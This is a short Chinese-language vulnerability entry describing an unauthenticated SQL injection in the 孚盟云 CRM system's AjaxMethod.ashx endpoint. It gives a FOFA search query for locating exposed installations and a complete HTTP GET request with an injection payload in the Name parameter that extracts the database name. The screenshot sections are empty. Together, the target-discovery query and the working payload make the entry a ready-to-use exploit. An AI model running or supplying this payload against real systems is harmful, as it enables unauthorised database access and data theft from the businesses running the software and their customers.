F10-2孚盟云-CRM系统-SQL

漏洞描述：

由于孚盟云 AjaxMethod.ashx、AjaxSendDingdingMessage.ashx等接口未对用户传入的参数进行合理的校验和过滤，导致传入的参数直接携带到数据库执行，导致SQL注入漏洞，未经身份验证的攻击者可通过此漏洞获取数据库权限，深入利用可获取服务器权限。

网站图片：

网络测绘：

fofa语法：

FOFA：app="孚盟软件-孚盟云"

漏洞复现：

payload：

```
GET /Ajax/AjaxMethod.ashx?action=getEmpByname&Name=1'+and+1=db_name()--+ HTTP/1.1
Host: your-ip
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
```

效果图: